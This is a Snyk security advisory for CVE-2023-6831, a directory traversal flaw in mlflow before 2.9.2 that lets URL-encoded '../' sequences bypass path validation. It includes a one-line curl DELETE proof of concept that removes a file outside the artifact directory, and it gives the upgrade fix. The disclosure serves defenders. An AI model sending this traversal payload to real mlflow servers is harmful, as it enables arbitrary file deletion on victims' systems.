Directory Traversal Affecting mlflow package, versions [,2.9.2)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.49% (77th percentile)

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  • Snyk IDSNYK-PYTHON-MLFLOW-6128849
  • published15 Dec 2023
  • disclosed15 Dec 2023
  • creditkevin-mizu

Introduced: 15 Dec 2023

CVE-2023-6831  (opens in a new tab)
CWE-22  (opens in a new tab)

How to fix?

Upgrade mlflow to version 2.9.2 or higher.

Overview

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Directory Traversal when passing crafted input to the file handling mechanism. It is possible to bypass the validate_path_is_safe function check by URL encoding (%2E%2E).

Note:

An attacker can remove any file on the victim server (depending on user's rights) by exploiting this vulnerability.

PoC

curl -X DELETE 'http://127.0.0.1:5000/api/2.0/mlflow-artifacts/artifacts/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Ftmp%252Fsecret'

CVSS Scores

version 3.1